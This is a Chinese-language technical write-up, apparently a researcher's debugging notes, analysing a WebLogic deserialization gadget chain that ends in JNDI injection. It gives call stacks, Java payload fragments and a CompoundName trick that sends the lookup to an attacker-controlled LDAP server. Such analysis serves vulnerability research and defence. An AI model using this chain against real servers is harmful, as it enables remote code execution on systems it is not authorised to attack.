漏洞介绍
反序列化利用链,JNDI注入
漏洞评级
影响范围
10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0
安全版本
漏洞分析
12.2.1.4.0
测试版本12.2.1.4.0
之前有师傅的文章已经分析过了,给出调用堆栈
1 2 3 4 5 6 7 8 9 10 | javax.management.BadAttributeValueExpException.readObject() weblogic.servlet.internal.session.SessionData.toString() weblogic.servlet.internal.session.SessionData.isDebuggingSession() weblogic.servlet.internal.session.SessionData.getAttribute() weblogic.servlet.internal.session.SessionData.getAttributeInternal() weblogic.servlet.internal.session.AttributeWrapperUtils.unwrapObject() weblogic.servlet.internal.session.AttributeWrapperUtils.unwrapEJBObjects() weblogic.ejb.container.internal.BusinessHandleImpl.getBusinessObject() weblogic.ejb20.internal.HomeHandleImpl.getEJBHome() javax.naming.Context.lookup() |
从这里调用链能看出,他基本都是JDK或weblogic一个包的,没有像2555/2883那样还需要依赖coherence,能大大提高不同版本的利用兼容性。
目前测试下来12.1.3/12.2.1.3/12.2.1.4用一个包就能打
这里记录下自己的调试记录吧,方便后续查阅
入口点还是之前的javax.management.BadAttributeValueExpException.readObject
从val变量里取出对象,这里变量是FileSessionData
对象,然后调用他的toString()
FileSessionData
是继承SessionData
,这里的toString没被重写,所以调用的是父类的,进而调用this.isDebuggingSession()
registry.isProductionMode()
没法在本地反序列化测试,因为里面涉及到一些变量需要weblogic运行时初始化,所以这里没法本地调试。
接着会调用this.getAttribute
获取wl_debug_session
这里getSecurityModuleAttribute
返回是null,因为他是name="weblogic.formauth.targeturl"
才有值。所以调用this.getAttributeInternal
this.attributes
是一个Map,实现类是ConcurrentHashMap,获取wl_debug_session
的value,这里是AttributeWrapper
对象
接着调用AttributeWrapperUtils.unwrapObject
解封装。
AttributeWrapper
对象封装的是BusinessHandlerImpl
类,解封装后,还需要判断wrapper.isEJBObjectWrapped()
是否为true,才能继续调用unwrapEJBObjects
所以需要手动setEJBObjectWrapped(true)
unwrapEJBObjects
里有四个分支,如果是BusinessHandle的实现类,才能调用getBusinessObject()
PS: 这个部分,其实BusinessHandle、HomeHandle和Handle三个都能触发,任选其一。
this.homeHandle
是HomeHandleImpl
类,然后调用getEJBHome()
最终到了sink点,ctx.lookup
,这里有两个变量要设置,this.serverURL和this.jndiName,就是JNDI请求那一套。
10.3.6
这个版本有些不同
在SessionData.getAttributeInternal
里,原本是先调用AttributeWrapperUtils.unwrapObject
,然后才是判断unwrappedObject属于哪个接口,进行转换。
10.3.6跳过中间步骤,直接判断。
但这里多了一个var3 instanceof EJBAttributeWrapper
判断,原来payload里是直接用AttributeWrapper
EJBAttributeWrapper
也是AttributeWrapper
继承类,但注意这个类是私有类,只能通过反射来实例化。
所以该部分注释原来的,调整如下
1 2 3 4 5 6 7 8 9 | Constructor ejbAttributeWrapperC = Class.forName("weblogic.servlet.internal.session.EJBAttributeWrapper").getDeclaredConstructor(BusinessHandle.class); ejbAttributeWrapperC.setAccessible(true); Object ejbAttributeWrapper = ejbAttributeWrapperC.newInstance(businessHandle); // AttributeWrapper attributeWrapper = new AttributeWrapper(businessHandle); // attributeWrapper.setEJBObjectWrapped(true); Map map = new ConcurrentHashMap(); map.put("wl_debug_session", ejbAttributeWrapper); |
但注意因为SeesionData的不同,会导致suid不同,所以在打不同版本需要调用不同版本的jar包,这玩意大得很,要优化就是筛选出有用的Class来类加载,回头优化再说吧。
PS: 新版本没有EJBAttributeWrapper类了。
JNDI注入部分问题
漏洞利用的最后阶段,这里会发起JNDI请求,一般来说我们习惯用LDAP或RMI,但这里做了限制。
java.naming.provider.url
这个值其实不太影响。
我们利用的通常是ctx.lookup指定向我们的ldap/rmi发起请求,但这里this.jndiName是Name接口,而不是一个String。
该方法存在重载
那么就有两种思路
- url设置成我们server,那么后面jndiName就不影响了。
- url任意指定,只要连接server成功,jndiName构造转换成和传入String一样的效果,也能实现。
第一种方法
因为weblogic.jndi.WLInitialContextFactory,url的scheme在weblogic我们是用T3/IIOP。
这里注册了其他协议,但实际也只能用t3/iiop,所以要有恶意的T3/IIOP server才能利用成功,也就是攻击T3/IIOP client,这里目前来说没找到有用的资料和实现。
备注:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | getInstance:42, EnvironmentManager (weblogic.jndi.spi) getContext:353, Environment (weblogic.jndi) getContext:322, Environment (weblogic.jndi) getInitialContext:131, WLInitialContextFactory (weblogic.jndi) getInitialContext:684, NamingManager (javax.naming.spi) getDefaultInitCtx:313, InitialContext (javax.naming) init:244, InitialContext (javax.naming) <init>:216, InitialContext (javax.naming) getEJBHome:66, HomeHandleImpl (weblogic.ejb20.internal) getBusinessObject:160, BusinessHandleImpl (weblogic.ejb.container.internal) unwrapEJBObjects:149, AttributeWrapperUtils (weblogic.servlet.internal.session) unwrapObject:122, AttributeWrapperUtils (weblogic.servlet.internal.session) getAttributeInternal:568, SessionData (weblogic.servlet.internal.session) getAttribute:547, SessionData (weblogic.servlet.internal.session) isDebuggingSession:1525, SessionData (weblogic.servlet.internal.session) toString:1537, SessionData (weblogic.servlet.internal.session) readObject:86, BadAttributeValueExpException (javax.management) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeReadObject:1058, ObjectStreamClass (java.io) readSerialData:2136, ObjectInputStream (java.io) readOrdinaryObject:2027, ObjectInputStream (java.io) readObject0:1535, ObjectInputStream (java.io) readObject:422, ObjectInputStream (java.io) readObject:73, InboundMsgAbbrev (weblogic.rjvm) read:45, InboundMsgAbbrev (weblogic.rjvm) readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm) init:219, MsgAbbrevInputStream (weblogic.rjvm) dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm) dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3) dispatch:397, BaseAbstractMuxableSocket (weblogic.socket) readReadySocketOnce:993, SocketMuxer (weblogic.socket) readReadySocket:929, SocketMuxer (weblogic.socket) process:599, NIOSocketMuxer (weblogic.socket) processSockets:563, NIOSocketMuxer (weblogic.socket) run:30, SocketReaderRequest (weblogic.socket) execute:43, SocketReaderRequest (weblogic.socket) execute:147, ExecuteThread (weblogic.kernel) run:119, ExecuteThread (weblogic.kernel) |
所以第一种方法放弃。
第二种方法
既然url只能设置成iiop/t3,那就直接指向本地,如iiop://127.0.0.1:7001
而this.jndiName就需要构造了
1 2 3 4 5 6 | Hashtable p = new Hashtable(); p.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory"); p.put("java.naming.provider.url", url); Context ctx = new InitialContext(p); this.home = (EJBHome)PortableRemoteObject.narrow(ctx.lookup(this.jndiName), EJBHome.class); |
先看了下传入String的情况,解析name的协议,根据scheme来获取对应协议context
如ldap,获取到的就是com.sun.jndi.url.ldap.ldapURLContext
,然后调用ldapURLContext.lookup
再看下getURLOrDefaultInitCtx(Name name)
,这里多了一步从name.get(0)里获取url来解析,后续都一样
然后看看ldapURLContext.lookup,重载的方法基本没区别,也是get(0)
这里注意url里不要有?
,否则会抛异常
父类的lookup,传入Name接口的,只要解析长度为1,进而会调用String的lookup,后面流程就一样了。
所以现在只需要有一个Name的实现类,解析我们构造的字符串后,解析长度为1,get(0) => "ldap://x.x.x.x:1389/xxx"即可
如下实现类均在JDK里
经过测试
DnsName: 以.
分割字符串,传入www.baidu.com会变为["www","baidu", "com"],不可用
LdapName:会以,
分割,并判断是否有=
,能正常解析的格式是dc=example,dc=com,不可用
CompositeName: 会以/
分割,所以传入ldap://x.x.x.x,会被分割成["ldap","","x.x.x.x"],不可用
CompoundName: 这个和CompositeName相似,但分割符可以自定义,那么就可以找个特殊符号,就不会被分割了。
网上的一个例子,这样就会以@分割, 其他属性可参考javax.naming.NameImpl.recordNamingConvention()
1 2 3 4 5 6 7 | // need properties for CompoundName Properties props = new Properties(); props.put("jndi.syntax.separator", "@"); props.put("jndi.syntax.direction", "left_to_right"); // create compound name object CompoundName CompoundName1 = new CompoundName("x@y@z@M@n", props); |
当然,如果不设置属性,就默认为null,不做解析
1 2 3 | Properties props = new Properties(); Name name = new CompoundName("ldap://127.0.0.1:1389",props); this.getURLOrDefaultInitCtx(name).lookup(name); |
所以对应payload修改如下,serverURL就指向server本地,让连接正常通过即可,jndiName就通过CompoundName构造。